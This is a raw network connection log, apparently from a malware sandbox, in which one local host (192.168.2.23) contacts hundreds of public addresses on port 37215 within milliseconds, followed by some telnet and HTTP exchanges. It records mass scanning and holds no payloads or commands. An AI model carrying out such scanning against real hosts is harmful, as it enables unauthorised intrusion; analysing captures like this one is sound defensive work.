Dec 3, 2024 22:11:45.843874931 CET	5603	37215	192.168.2.23	156.134.243.140
Dec 3, 2024 22:11:45.843885899 CET	5603	37215	192.168.2.23	41.23.0.202
Dec 3, 2024 22:11:45.843889952 CET	5603	37215	192.168.2.23	197.21.207.26
Dec 3, 2024 22:11:45.843904018 CET	5603	37215	192.168.2.23	41.112.30.94
Dec 3, 2024 22:11:45.843904018 CET	5603	37215	192.168.2.23	197.221.225.253
Dec 3, 2024 22:11:45.843913078 CET	5603	37215	192.168.2.23	156.23.152.20
Dec 3, 2024 22:11:45.843925953 CET	5603	37215	192.168.2.23	156.211.30.209
Dec 3, 2024 22:11:45.843928099 CET	5603	37215	192.168.2.23	41.40.51.250
Dec 3, 2024 22:11:45.843933105 CET	5603	37215	192.168.2.23	41.22.65.123
Dec 3, 2024 22:11:45.843935013 CET	5603	37215	192.168.2.23	156.24.117.104
Dec 3, 2024 22:11:45.843941927 CET	5603	37215	192.168.2.23	156.179.34.131
Dec 3, 2024 22:11:45.843943119 CET	5603	37215	192.168.2.23	41.229.156.134
Dec 3, 2024 22:11:45.843949080 CET	5603	37215	192.168.2.23	41.140.175.246
Dec 3, 2024 22:11:45.843960047 CET	5603	37215	192.168.2.23	197.181.68.181
Dec 3, 2024 22:11:45.843960047 CET	5603	37215	192.168.2.23	156.201.139.44
Dec 3, 2024 22:11:45.843978882 CET	5603	37215	192.168.2.23	41.172.5.227
Dec 3, 2024 22:11:45.843981981 CET	5603	37215	192.168.2.23	156.147.222.101
Dec 3, 2024 22:11:45.843992949 CET	5603	37215	192.168.2.23	197.81.168.160
Dec 3, 2024 22:11:45.843996048 CET	5603	37215	192.168.2.23	197.150.226.72
Dec 3, 2024 22:11:45.844012022 CET	5603	37215	192.168.2.23	156.185.250.213
Dec 3, 2024 22:11:45.844012022 CET	5603	37215	192.168.2.23	41.214.249.8
Dec 3, 2024 22:11:45.844017029 CET	5603	37215	192.168.2.23	156.211.199.38
Dec 3, 2024 22:11:45.844023943 CET	5603	37215	192.168.2.23	197.25.52.159
Dec 3, 2024 22:11:45.844043970 CET	5603	37215	192.168.2.23	197.250.222.29
Dec 3, 2024 22:11:45.844046116 CET	5603	37215	192.168.2.23	41.188.131.59
Dec 3, 2024 22:11:45.844047070 CET	5603	37215	192.168.2.23	41.146.190.45
Dec 3, 2024 22:11:45.844047070 CET	5603	37215	192.168.2.23	41.51.241.77
Dec 3, 2024 22:11:45.844055891 CET	5603	37215	192.168.2.23	156.66.158.161
Dec 3, 2024 22:11:45.844065905 CET	5603	37215	192.168.2.23	41.149.1.106
Dec 3, 2024 22:11:45.844070911 CET	5603	37215	192.168.2.23	197.187.206.6
Dec 3, 2024 22:11:45.844088078 CET	5603	37215	192.168.2.23	156.23.165.165
Dec 3, 2024 22:11:45.844090939 CET	5603	37215	192.168.2.23	197.47.178.21
Dec 3, 2024 22:11:45.844098091 CET	5603	37215	192.168.2.23	156.191.162.187
Dec 3, 2024 22:11:45.844106913 CET	5603	37215	192.168.2.23	41.230.98.215
Dec 3, 2024 22:11:45.844118118 CET	5603	37215	192.168.2.23	156.239.201.12
Dec 3, 2024 22:11:45.844121933 CET	5603	37215	192.168.2.23	156.105.44.7
Dec 3, 2024 22:11:45.844125032 CET	5603	37215	192.168.2.23	41.40.94.12
Dec 3, 2024 22:11:45.844130039 CET	5603	37215	192.168.2.23	41.218.192.88
Dec 3, 2024 22:11:45.844141960 CET	5603	37215	192.168.2.23	41.90.144.168
Dec 3, 2024 22:11:45.844141960 CET	5603	37215	192.168.2.23	156.252.3.72
Dec 3, 2024 22:11:45.844158888 CET	5603	37215	192.168.2.23	41.190.0.12
Dec 3, 2024 22:11:45.844158888 CET	5603	37215	192.168.2.23	41.221.38.22
Dec 3, 2024 22:11:45.844166994 CET	5603	37215	192.168.2.23	156.197.2.66
Dec 3, 2024 22:11:45.844172955 CET	5603	37215	192.168.2.23	41.153.255.158
Dec 3, 2024 22:11:45.844183922 CET	5603	37215	192.168.2.23	41.1.187.95
Dec 3, 2024 22:11:45.844187975 CET	5603	37215	192.168.2.23	156.40.165.18
Dec 3, 2024 22:11:45.844199896 CET	5603	37215	192.168.2.23	41.55.141.167
Dec 3, 2024 22:11:45.844202995 CET	5603	37215	192.168.2.23	41.206.19.70
Dec 3, 2024 22:11:45.844212055 CET	5603	37215	192.168.2.23	41.73.201.98
Dec 3, 2024 22:11:45.844218016 CET	5603	37215	192.168.2.23	197.98.54.76
Dec 3, 2024 22:11:45.844222069 CET	5603	37215	192.168.2.23	156.161.111.143
Dec 3, 2024 22:11:45.844230890 CET	5603	37215	192.168.2.23	197.62.133.11
Dec 3, 2024 22:11:45.844230890 CET	5603	37215	192.168.2.23	41.48.169.27
Dec 3, 2024 22:11:45.844247103 CET	5603	37215	192.168.2.23	197.191.172.95
Dec 3, 2024 22:11:45.844249964 CET	5603	37215	192.168.2.23	41.231.154.89
Dec 3, 2024 22:11:45.844264030 CET	5603	37215	192.168.2.23	156.204.241.193
Dec 3, 2024 22:11:45.844269037 CET	5603	37215	192.168.2.23	41.107.135.60
Dec 3, 2024 22:11:45.844275951 CET	5603	37215	192.168.2.23	197.40.66.110
Dec 3, 2024 22:11:45.844278097 CET	5603	37215	192.168.2.23	156.151.200.212
Dec 3, 2024 22:11:45.844281912 CET	5603	37215	192.168.2.23	197.171.182.106
Dec 3, 2024 22:11:45.844291925 CET	5603	37215	192.168.2.23	156.201.103.214
Dec 3, 2024 22:11:45.844291925 CET	5603	37215	192.168.2.23	41.116.51.53
Dec 3, 2024 22:11:45.844300032 CET	5603	37215	192.168.2.23	41.32.190.180
Dec 3, 2024 22:11:45.844314098 CET	5603	37215	192.168.2.23	156.104.172.201
Dec 3, 2024 22:11:45.844316959 CET	5603	37215	192.168.2.23	41.93.202.68
Dec 3, 2024 22:11:45.844316959 CET	5603	37215	192.168.2.23	156.229.162.220
Dec 3, 2024 22:11:45.844317913 CET	5603	37215	192.168.2.23	197.219.221.123
Dec 3, 2024 22:11:45.844333887 CET	5603	37215	192.168.2.23	41.221.139.239
Dec 3, 2024 22:11:45.844337940 CET	5603	37215	192.168.2.23	156.248.250.106
Dec 3, 2024 22:11:45.844352007 CET	5603	37215	192.168.2.23	156.199.132.234
Dec 3, 2024 22:11:45.844352007 CET	5603	37215	192.168.2.23	197.227.128.62
Dec 3, 2024 22:11:45.844352007 CET	5603	37215	192.168.2.23	156.173.27.59
Dec 3, 2024 22:11:45.844361067 CET	5603	37215	192.168.2.23	156.123.166.235
Dec 3, 2024 22:11:45.844361067 CET	5603	37215	192.168.2.23	156.33.183.173
Dec 3, 2024 22:11:45.844379902 CET	5603	37215	192.168.2.23	197.210.66.112
Dec 3, 2024 22:11:45.844379902 CET	5603	37215	192.168.2.23	41.234.104.131
Dec 3, 2024 22:11:45.844386101 CET	5603	37215	192.168.2.23	197.230.165.123
Dec 3, 2024 22:11:45.844394922 CET	5603	37215	192.168.2.23	156.105.224.36
Dec 3, 2024 22:11:45.844403028 CET	5603	37215	192.168.2.23	41.66.9.247
Dec 3, 2024 22:11:45.844404936 CET	5603	37215	192.168.2.23	156.90.224.192
Dec 3, 2024 22:11:45.844410896 CET	5603	37215	192.168.2.23	41.1.130.186
Dec 3, 2024 22:11:45.844418049 CET	5603	37215	192.168.2.23	156.138.184.229
Dec 3, 2024 22:11:45.844425917 CET	5603	37215	192.168.2.23	41.94.68.61
Dec 3, 2024 22:11:45.844433069 CET	5603	37215	192.168.2.23	197.90.191.15
Dec 3, 2024 22:11:45.844435930 CET	5603	37215	192.168.2.23	41.200.126.132
Dec 3, 2024 22:11:45.844449043 CET	5603	37215	192.168.2.23	197.94.128.43
Dec 3, 2024 22:11:45.844453096 CET	5603	37215	192.168.2.23	41.235.98.99
Dec 3, 2024 22:11:45.844459057 CET	5603	37215	192.168.2.23	197.197.168.96
Dec 3, 2024 22:11:45.844466925 CET	5603	37215	192.168.2.23	156.136.22.67
Dec 3, 2024 22:11:45.844474077 CET	5603	37215	192.168.2.23	156.241.212.135
Dec 3, 2024 22:11:45.844484091 CET	5603	37215	192.168.2.23	156.38.51.110
Dec 3, 2024 22:11:45.844487906 CET	5603	37215	192.168.2.23	197.253.93.132
Dec 3, 2024 22:11:45.844491005 CET	5603	37215	192.168.2.23	156.254.224.181
Dec 3, 2024 22:11:45.844496012 CET	5603	37215	192.168.2.23	41.147.65.173
Dec 3, 2024 22:11:45.844501019 CET	5603	37215	192.168.2.23	156.99.43.143
Dec 3, 2024 22:11:45.844511032 CET	5603	37215	192.168.2.23	41.29.237.16
Dec 3, 2024 22:11:45.844511032 CET	5603	37215	192.168.2.23	156.103.135.243
Dec 3, 2024 22:11:45.844521046 CET	5603	37215	192.168.2.23	156.118.114.252
Dec 3, 2024 22:11:45.844525099 CET	5603	37215	192.168.2.23	156.50.47.73
Dec 3, 2024 22:11:45.844567060 CET	5603	37215	192.168.2.23	197.7.79.163
Dec 3, 2024 22:11:45.844567060 CET	5603	37215	192.168.2.23	41.70.237.142
Dec 3, 2024 22:11:45.844573975 CET	5603	37215	192.168.2.23	41.220.240.178
Dec 3, 2024 22:11:45.844574928 CET	5603	37215	192.168.2.23	41.36.136.11
Dec 3, 2024 22:11:45.844574928 CET	5603	37215	192.168.2.23	41.168.191.22
Dec 3, 2024 22:11:45.844575882 CET	5603	37215	192.168.2.23	197.121.249.172
Dec 3, 2024 22:11:45.844575882 CET	5603	37215	192.168.2.23	197.215.97.29
Dec 3, 2024 22:11:45.844575882 CET	5603	37215	192.168.2.23	156.54.255.188
Dec 3, 2024 22:11:45.844590902 CET	5603	37215	192.168.2.23	41.124.18.196
Dec 3, 2024 22:11:45.844594955 CET	5603	37215	192.168.2.23	197.157.197.243
Dec 3, 2024 22:11:45.844595909 CET	5603	37215	192.168.2.23	156.104.20.158
Dec 3, 2024 22:11:45.844597101 CET	5603	37215	192.168.2.23	156.169.170.208
Dec 3, 2024 22:11:45.844598055 CET	5603	37215	192.168.2.23	156.133.70.254
Dec 3, 2024 22:11:45.844600916 CET	5603	37215	192.168.2.23	197.10.221.126
Dec 3, 2024 22:11:45.844600916 CET	5603	37215	192.168.2.23	156.161.74.182
Dec 3, 2024 22:11:45.844600916 CET	5603	37215	192.168.2.23	197.46.193.104
Dec 3, 2024 22:11:45.844602108 CET	5603	37215	192.168.2.23	156.4.201.246
Dec 3, 2024 22:11:45.844600916 CET	5603	37215	192.168.2.23	156.40.112.11
Dec 3, 2024 22:11:45.844602108 CET	5603	37215	192.168.2.23	41.4.1.215
Dec 3, 2024 22:11:45.844602108 CET	5603	37215	192.168.2.23	41.71.216.32
Dec 3, 2024 22:11:45.844602108 CET	5603	37215	192.168.2.23	156.112.80.162
Dec 3, 2024 22:11:45.844602108 CET	5603	37215	192.168.2.23	156.200.29.19
Dec 3, 2024 22:11:45.844602108 CET	5603	37215	192.168.2.23	197.95.197.111
Dec 3, 2024 22:11:45.844602108 CET	5603	37215	192.168.2.23	41.67.239.20
Dec 3, 2024 22:11:45.844614029 CET	5603	37215	192.168.2.23	41.172.16.73
Dec 3, 2024 22:11:45.844614983 CET	5603	37215	192.168.2.23	156.158.22.80
Dec 3, 2024 22:11:45.844616890 CET	5603	37215	192.168.2.23	197.218.140.143
Dec 3, 2024 22:11:45.844616890 CET	5603	37215	192.168.2.23	197.66.129.104
Dec 3, 2024 22:11:45.844616890 CET	5603	37215	192.168.2.23	41.176.130.44
Dec 3, 2024 22:11:45.844616890 CET	5603	37215	192.168.2.23	156.28.103.193
Dec 3, 2024 22:11:45.844616890 CET	5603	37215	192.168.2.23	197.68.51.177
Dec 3, 2024 22:11:45.844616890 CET	5603	37215	192.168.2.23	41.82.8.244
Dec 3, 2024 22:11:45.844619036 CET	5603	37215	192.168.2.23	197.119.24.193
Dec 3, 2024 22:11:45.844635010 CET	5603	37215	192.168.2.23	197.168.129.10
Dec 3, 2024 22:11:45.844635010 CET	5603	37215	192.168.2.23	156.15.215.38
Dec 3, 2024 22:11:45.844635010 CET	5603	37215	192.168.2.23	197.10.196.173
Dec 3, 2024 22:11:45.844639063 CET	5603	37215	192.168.2.23	41.204.76.210
Dec 3, 2024 22:11:45.844639063 CET	5603	37215	192.168.2.23	41.64.157.102
Dec 3, 2024 22:11:45.844640017 CET	5603	37215	192.168.2.23	156.53.15.147
Dec 3, 2024 22:11:45.844640017 CET	5603	37215	192.168.2.23	156.86.180.83
Dec 3, 2024 22:11:45.844640017 CET	5603	37215	192.168.2.23	197.187.158.186
Dec 3, 2024 22:11:45.844640970 CET	5603	37215	192.168.2.23	41.81.126.243
Dec 3, 2024 22:11:45.844640970 CET	5603	37215	192.168.2.23	156.237.174.6
Dec 3, 2024 22:11:45.844641924 CET	5603	37215	192.168.2.23	156.241.167.185
Dec 3, 2024 22:11:45.844646931 CET	5603	37215	192.168.2.23	156.69.96.10
Dec 3, 2024 22:11:45.844660997 CET	5603	37215	192.168.2.23	197.220.113.235
Dec 3, 2024 22:11:45.844660997 CET	5603	37215	192.168.2.23	41.152.247.77
Dec 3, 2024 22:11:45.844661951 CET	5603	37215	192.168.2.23	41.252.57.66
Dec 3, 2024 22:11:45.844665051 CET	5603	37215	192.168.2.23	197.50.170.182
Dec 3, 2024 22:11:45.844667912 CET	5603	37215	192.168.2.23	156.224.103.173
Dec 3, 2024 22:11:45.844667912 CET	5603	37215	192.168.2.23	41.21.109.2
Dec 3, 2024 22:11:45.844667912 CET	5603	37215	192.168.2.23	197.208.27.74
Dec 3, 2024 22:11:45.844670057 CET	5603	37215	192.168.2.23	197.23.10.35
Dec 3, 2024 22:11:45.844670057 CET	5603	37215	192.168.2.23	156.178.187.226
Dec 3, 2024 22:11:45.844670057 CET	5603	37215	192.168.2.23	156.64.233.18
Dec 3, 2024 22:11:45.844676971 CET	5603	37215	192.168.2.23	41.179.66.229
Dec 3, 2024 22:11:45.844676971 CET	5603	37215	192.168.2.23	156.208.246.131
Dec 3, 2024 22:11:45.844683886 CET	5603	37215	192.168.2.23	156.131.143.47
Dec 3, 2024 22:11:45.844686031 CET	5603	37215	192.168.2.23	156.31.194.183
Dec 3, 2024 22:11:45.844686031 CET	5603	37215	192.168.2.23	197.123.76.178
Dec 3, 2024 22:11:45.844686985 CET	5603	37215	192.168.2.23	197.3.77.101
Dec 3, 2024 22:11:45.844686031 CET	5603	37215	192.168.2.23	156.122.47.132
Dec 3, 2024 22:11:45.844687939 CET	5603	37215	192.168.2.23	41.104.52.60
Dec 3, 2024 22:11:45.844687939 CET	5603	37215	192.168.2.23	156.6.216.253
Dec 3, 2024 22:11:45.844707966 CET	5603	37215	192.168.2.23	156.197.185.228
Dec 3, 2024 22:11:45.844707966 CET	5603	37215	192.168.2.23	156.173.51.220
Dec 3, 2024 22:11:45.844710112 CET	5603	37215	192.168.2.23	156.39.195.195
Dec 3, 2024 22:11:45.844710112 CET	5603	37215	192.168.2.23	41.244.125.101
Dec 3, 2024 22:11:45.844711065 CET	5603	37215	192.168.2.23	156.166.179.223
Dec 3, 2024 22:11:45.844710112 CET	5603	37215	192.168.2.23	197.133.22.92
Dec 3, 2024 22:11:45.844711065 CET	5603	37215	192.168.2.23	41.174.24.218
Dec 3, 2024 22:11:45.844711065 CET	5603	37215	192.168.2.23	156.251.139.95
Dec 3, 2024 22:11:45.844710112 CET	5603	37215	192.168.2.23	41.154.152.201
Dec 3, 2024 22:11:45.844711065 CET	5603	37215	192.168.2.23	197.4.10.16
Dec 3, 2024 22:11:45.844710112 CET	5603	37215	192.168.2.23	156.234.225.97
Dec 3, 2024 22:11:45.844711065 CET	5603	37215	192.168.2.23	156.235.175.16
Dec 3, 2024 22:11:45.844710112 CET	5603	37215	192.168.2.23	41.162.86.122
Dec 3, 2024 22:11:45.844711065 CET	5603	37215	192.168.2.23	41.153.1.39
Dec 3, 2024 22:11:45.844710112 CET	5603	37215	192.168.2.23	197.196.122.245
Dec 3, 2024 22:11:45.844719887 CET	5603	37215	192.168.2.23	156.123.2.104
Dec 3, 2024 22:11:45.844722986 CET	5603	37215	192.168.2.23	197.65.255.53
Dec 3, 2024 22:11:45.844736099 CET	5603	37215	192.168.2.23	156.54.135.153
Dec 3, 2024 22:11:45.844736099 CET	5603	37215	192.168.2.23	156.22.39.230
Dec 3, 2024 22:11:45.844749928 CET	5603	37215	192.168.2.23	197.10.164.194
Dec 3, 2024 22:11:45.844749928 CET	5603	37215	192.168.2.23	197.88.227.191
Dec 3, 2024 22:11:45.844758034 CET	5603	37215	192.168.2.23	156.65.69.155
Dec 3, 2024 22:11:45.844758034 CET	5603	37215	192.168.2.23	197.180.234.206
Dec 3, 2024 22:11:45.844758034 CET	5603	37215	192.168.2.23	156.168.146.162
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	156.154.165.118
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	197.34.226.186
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	156.89.231.198
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	197.107.38.123
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	41.23.13.0
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	156.59.43.99
Dec 3, 2024 22:11:45.844769001 CET	5603	37215	192.168.2.23	41.255.51.126
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	156.233.243.238
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	197.221.99.69
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	197.210.81.216
Dec 3, 2024 22:11:45.844758034 CET	5603	37215	192.168.2.23	41.110.223.94
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	41.156.78.189
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	41.212.149.230
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	41.83.110.109
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	41.29.32.49
Dec 3, 2024 22:11:45.844759941 CET	5603	37215	192.168.2.23	41.34.126.158
Dec 3, 2024 22:11:45.844758987 CET	5603	37215	192.168.2.23	156.197.0.195
Dec 3, 2024 22:11:45.844779968 CET	5603	37215	192.168.2.23	197.143.114.132
Dec 3, 2024 22:11:45.844780922 CET	5603	37215	192.168.2.23	197.24.194.151
Dec 3, 2024 22:11:45.844780922 CET	5603	37215	192.168.2.23	41.220.58.186
Dec 3, 2024 22:11:45.844780922 CET	5603	37215	192.168.2.23	41.110.110.158
Dec 3, 2024 22:11:45.844780922 CET	5603	37215	192.168.2.23	156.10.55.158
Dec 3, 2024 22:11:45.844782114 CET	5603	37215	192.168.2.23	156.34.212.30
Dec 3, 2024 22:11:45.844782114 CET	5603	37215	192.168.2.23	156.221.80.219
Dec 3, 2024 22:11:45.844783068 CET	5603	37215	192.168.2.23	156.139.74.26
Dec 3, 2024 22:11:45.844783068 CET	5603	37215	192.168.2.23	41.76.41.98
Dec 3, 2024 22:11:45.844789028 CET	5603	37215	192.168.2.23	41.62.10.177
Dec 3, 2024 22:11:45.844789028 CET	5603	37215	192.168.2.23	41.112.231.202
Dec 3, 2024 22:11:45.844791889 CET	5603	37215	192.168.2.23	41.243.188.102
Dec 3, 2024 22:11:45.844791889 CET	5603	37215	192.168.2.23	156.8.211.249
Dec 3, 2024 22:11:45.844794035 CET	5603	37215	192.168.2.23	197.132.213.42
Dec 3, 2024 22:11:45.844795942 CET	5603	37215	192.168.2.23	41.14.52.238
Dec 3, 2024 22:11:45.844811916 CET	5603	37215	192.168.2.23	197.48.249.87
Dec 3, 2024 22:11:45.844813108 CET	5603	37215	192.168.2.23	197.152.222.77
Dec 3, 2024 22:11:45.844813108 CET	5603	37215	192.168.2.23	156.106.183.142
Dec 3, 2024 22:11:45.844818115 CET	5603	37215	192.168.2.23	197.34.127.131
Dec 3, 2024 22:11:45.844820023 CET	5603	37215	192.168.2.23	156.168.172.73
Dec 3, 2024 22:11:45.844826937 CET	5603	37215	192.168.2.23	156.181.101.152
Dec 3, 2024 22:11:45.844829082 CET	5603	37215	192.168.2.23	197.139.182.249
Dec 3, 2024 22:11:45.844846964 CET	5603	37215	192.168.2.23	197.96.127.179
Dec 3, 2024 22:11:45.844847918 CET	5603	37215	192.168.2.23	197.77.232.222
Dec 3, 2024 22:11:45.844850063 CET	5603	37215	192.168.2.23	156.60.156.220
Dec 3, 2024 22:11:45.844850063 CET	5603	37215	192.168.2.23	41.239.171.241
Dec 3, 2024 22:11:45.844850063 CET	5603	37215	192.168.2.23	156.144.10.171
Dec 3, 2024 22:11:45.844856977 CET	5603	37215	192.168.2.23	197.83.16.226
Dec 3, 2024 22:11:45.844857931 CET	5603	37215	192.168.2.23	197.54.79.136
Dec 3, 2024 22:11:45.844856977 CET	5603	37215	192.168.2.23	156.85.237.23
Dec 3, 2024 22:11:45.844866991 CET	5603	37215	192.168.2.23	197.226.52.127
Dec 3, 2024 22:11:45.844881058 CET	5603	37215	192.168.2.23	197.215.103.2
Dec 3, 2024 22:11:45.844881058 CET	5603	37215	192.168.2.23	197.192.228.187
Dec 3, 2024 22:11:45.844882011 CET	5603	37215	192.168.2.23	156.171.31.158
Dec 3, 2024 22:11:45.844896078 CET	5603	37215	192.168.2.23	41.205.76.236
Dec 3, 2024 22:11:45.844898939 CET	5603	37215	192.168.2.23	197.35.145.171
Dec 3, 2024 22:11:45.844907999 CET	5603	37215	192.168.2.23	156.96.0.174
Dec 3, 2024 22:11:45.844908953 CET	5603	37215	192.168.2.23	156.207.61.248
Dec 3, 2024 22:11:45.844918966 CET	5603	37215	192.168.2.23	156.1.91.67
Dec 3, 2024 22:11:45.844919920 CET	5603	37215	192.168.2.23	41.39.4.14
Dec 3, 2024 22:11:45.844923973 CET	5603	37215	192.168.2.23	156.143.193.151
Dec 3, 2024 22:11:45.844930887 CET	5603	37215	192.168.2.23	197.32.207.168
Dec 3, 2024 22:11:45.844944000 CET	5603	37215	192.168.2.23	197.247.46.75
Dec 3, 2024 22:11:45.844958067 CET	5603	37215	192.168.2.23	156.213.168.208
Dec 3, 2024 22:11:45.844959974 CET	5603	37215	192.168.2.23	197.107.25.249
Dec 3, 2024 22:11:45.844963074 CET	5603	37215	192.168.2.23	197.116.185.162
Dec 3, 2024 22:11:45.844963074 CET	5603	37215	192.168.2.23	197.184.101.79
Dec 3, 2024 22:11:45.844965935 CET	5603	37215	192.168.2.23	156.191.141.58
Dec 3, 2024 22:11:45.844970942 CET	5603	37215	192.168.2.23	197.239.218.159
Dec 3, 2024 22:11:45.844970942 CET	5603	37215	192.168.2.23	197.46.232.48
Dec 3, 2024 22:11:45.844970942 CET	5603	37215	192.168.2.23	156.29.45.42
Dec 3, 2024 22:11:45.844973087 CET	5603	37215	192.168.2.23	156.188.117.73
Dec 3, 2024 22:11:45.844973087 CET	5603	37215	192.168.2.23	197.109.215.234
Dec 3, 2024 22:11:45.844976902 CET	5603	37215	192.168.2.23	156.36.219.145
Dec 3, 2024 22:11:45.844979048 CET	5603	37215	192.168.2.23	156.19.89.52
Dec 3, 2024 22:11:45.844979048 CET	5603	37215	192.168.2.23	41.180.4.142
Dec 3, 2024 22:11:45.844979048 CET	5603	37215	192.168.2.23	156.102.189.161
Dec 3, 2024 22:11:45.844979048 CET	5603	37215	192.168.2.23	156.37.176.216
Dec 3, 2024 22:11:45.844979048 CET	5603	37215	192.168.2.23	197.210.66.192
Dec 3, 2024 22:11:45.844989061 CET	5603	37215	192.168.2.23	41.250.77.12
Dec 3, 2024 22:11:45.844989061 CET	5603	37215	192.168.2.23	41.57.167.89
Dec 3, 2024 22:11:45.844995022 CET	5603	37215	192.168.2.23	156.73.40.76
Dec 3, 2024 22:11:45.844995975 CET	5603	37215	192.168.2.23	156.25.201.163
Dec 3, 2024 22:11:45.845005035 CET	5603	37215	192.168.2.23	41.23.226.48
Dec 3, 2024 22:11:45.845011950 CET	5603	37215	192.168.2.23	41.246.49.201
Dec 3, 2024 22:11:45.845014095 CET	5603	37215	192.168.2.23	41.249.224.97
Dec 3, 2024 22:11:45.845016003 CET	5603	37215	192.168.2.23	197.199.80.46
Dec 3, 2024 22:11:45.845027924 CET	5603	37215	192.168.2.23	156.167.158.140
Dec 3, 2024 22:11:45.845027924 CET	5603	37215	192.168.2.23	156.15.30.75
Dec 3, 2024 22:11:45.845042944 CET	5603	37215	192.168.2.23	197.66.33.93
Dec 3, 2024 22:11:45.845043898 CET	5603	37215	192.168.2.23	156.137.254.61
Dec 3, 2024 22:11:45.845042944 CET	5603	37215	192.168.2.23	197.197.118.213
Dec 3, 2024 22:11:45.845052958 CET	5603	37215	192.168.2.23	41.207.129.221
Dec 3, 2024 22:11:45.845062017 CET	5603	37215	192.168.2.23	41.62.125.201
Dec 3, 2024 22:11:45.845074892 CET	5603	37215	192.168.2.23	41.182.30.78
Dec 3, 2024 22:11:45.845076084 CET	5603	37215	192.168.2.23	156.102.50.99
Dec 3, 2024 22:11:45.845077991 CET	5603	37215	192.168.2.23	197.139.70.40
Dec 3, 2024 22:11:45.845077991 CET	5603	37215	192.168.2.23	41.138.43.44
Dec 3, 2024 22:11:45.845077991 CET	5603	37215	192.168.2.23	156.138.23.193
Dec 3, 2024 22:11:45.845077991 CET	5603	37215	192.168.2.23	156.28.120.131
Dec 3, 2024 22:11:45.845098019 CET	5603	37215	192.168.2.23	197.226.236.167
Dec 3, 2024 22:11:45.845103025 CET	5603	37215	192.168.2.23	156.166.111.63
Dec 3, 2024 22:11:45.845103025 CET	5603	37215	192.168.2.23	156.134.80.38
Dec 3, 2024 22:11:45.845103979 CET	5603	37215	192.168.2.23	156.203.200.179
Dec 3, 2024 22:11:45.845113039 CET	5603	37215	192.168.2.23	156.174.5.177
Dec 3, 2024 22:11:45.845120907 CET	5603	37215	192.168.2.23	41.149.137.10
Dec 3, 2024 22:11:45.845133066 CET	5603	37215	192.168.2.23	156.212.194.118
Dec 3, 2024 22:11:45.845134020 CET	5603	37215	192.168.2.23	197.97.89.191
Dec 3, 2024 22:11:45.845144033 CET	5603	37215	192.168.2.23	156.235.140.136
Dec 3, 2024 22:11:45.845155954 CET	5603	37215	192.168.2.23	41.190.142.15
Dec 3, 2024 22:11:45.845164061 CET	5603	37215	192.168.2.23	156.153.43.233
Dec 3, 2024 22:11:45.845168114 CET	5603	37215	192.168.2.23	156.9.156.61
Dec 3, 2024 22:11:45.845174074 CET	5603	37215	192.168.2.23	41.24.121.12
Dec 3, 2024 22:11:45.845182896 CET	5603	37215	192.168.2.23	156.139.140.199
Dec 3, 2024 22:11:45.845182896 CET	5603	37215	192.168.2.23	197.181.251.107
Dec 3, 2024 22:11:45.845189095 CET	5603	37215	192.168.2.23	41.207.224.106
Dec 3, 2024 22:11:45.845210075 CET	5603	37215	192.168.2.23	156.27.10.135
Dec 3, 2024 22:11:45.952430964 CET	23	8163	152.174.50.17	192.168.2.23
Dec 3, 2024 22:11:45.952455044 CET	23	8163	165.180.204.175	192.168.2.23
Dec 3, 2024 22:11:45.952464104 CET	23	8163	194.75.43.9	192.168.2.23
Dec 3, 2024 22:11:45.952469110 CET	23	8163	114.90.43.214	192.168.2.23
Dec 3, 2024 22:11:45.952541113 CET	23	8163	172.201.149.163	192.168.2.23
Dec 3, 2024 22:11:45.952598095 CET	23	8163	131.106.16.67	192.168.2.23
Dec 3, 2024 22:11:45.952609062 CET	23	8163	182.79.56.54	192.168.2.23
Dec 3, 2024 22:11:45.952610016 CET	8163	23	192.168.2.23	194.75.43.9
Dec 3, 2024 22:11:45.952610016 CET	8163	23	192.168.2.23	114.90.43.214
Dec 3, 2024 22:11:45.952620029 CET	23	8163	180.67.243.244	192.168.2.23
Dec 3, 2024 22:11:45.952639103 CET	80	6883	61.46.229.165	192.168.2.23
Dec 3, 2024 22:11:45.952649117 CET	80	6883	94.163.33.5	192.168.2.23
Dec 3, 2024 22:11:45.952650070 CET	8163	23	192.168.2.23	182.79.56.54
Dec 3, 2024 22:11:45.952665091 CET	8163	23	192.168.2.23	180.67.243.244
Dec 3, 2024 22:11:45.952685118 CET	6883	80	192.168.2.23	94.163.33.5
Dec 3, 2024 22:11:45.952686071 CET	8163	23	192.168.2.23	152.174.50.17
Dec 3, 2024 22:11:45.952688932 CET	6883	80	192.168.2.23	61.46.229.165
Dec 3, 2024 22:11:45.952693939 CET	8163	23	192.168.2.23	172.201.149.163
Dec 3, 2024 22:11:45.952698946 CET	8163	23	192.168.2.23	165.180.204.175
Dec 3, 2024 22:11:45.952702999 CET	37215	5603	156.115.47.134	192.168.2.23
Dec 3, 2024 22:11:45.952707052 CET	8163	23	192.168.2.23	131.106.16.67
Dec 3, 2024 22:11:45.952737093 CET	37215	5603	156.233.226.34	192.168.2.23
Dec 3, 2024 22:11:45.952749968 CET	5603	37215	192.168.2.23	156.115.47.134
Dec 3, 2024 22:11:45.952799082 CET	5603	37215	192.168.2.23	156.233.226.34
Dec 3, 2024 22:11:45.954145908 CET	23	8163	78.191.254.81	192.168.2.23
Dec 3, 2024 22:11:45.954190016 CET	8163	23	192.168.2.23	78.191.254.81
Dec 3, 2024 22:11:45.954221964 CET	23	8163	204.215.117.188	192.168.2.23
Dec 3, 2024 22:11:45.954233885 CET	23	8163	153.189.229.31	192.168.2.23
Dec 3, 2024 22:11:45.954242945 CET	23	8163	111.32.64.222	192.168.2.23
Dec 3, 2024 22:11:45.954252005 CET	23	8163	62.17.217.224	192.168.2.23
Dec 3, 2024 22:11:45.954261065 CET	23	8163	156.240.39.184	192.168.2.23
Dec 3, 2024 22:11:45.954267025 CET	8163	23	192.168.2.23	204.215.117.188
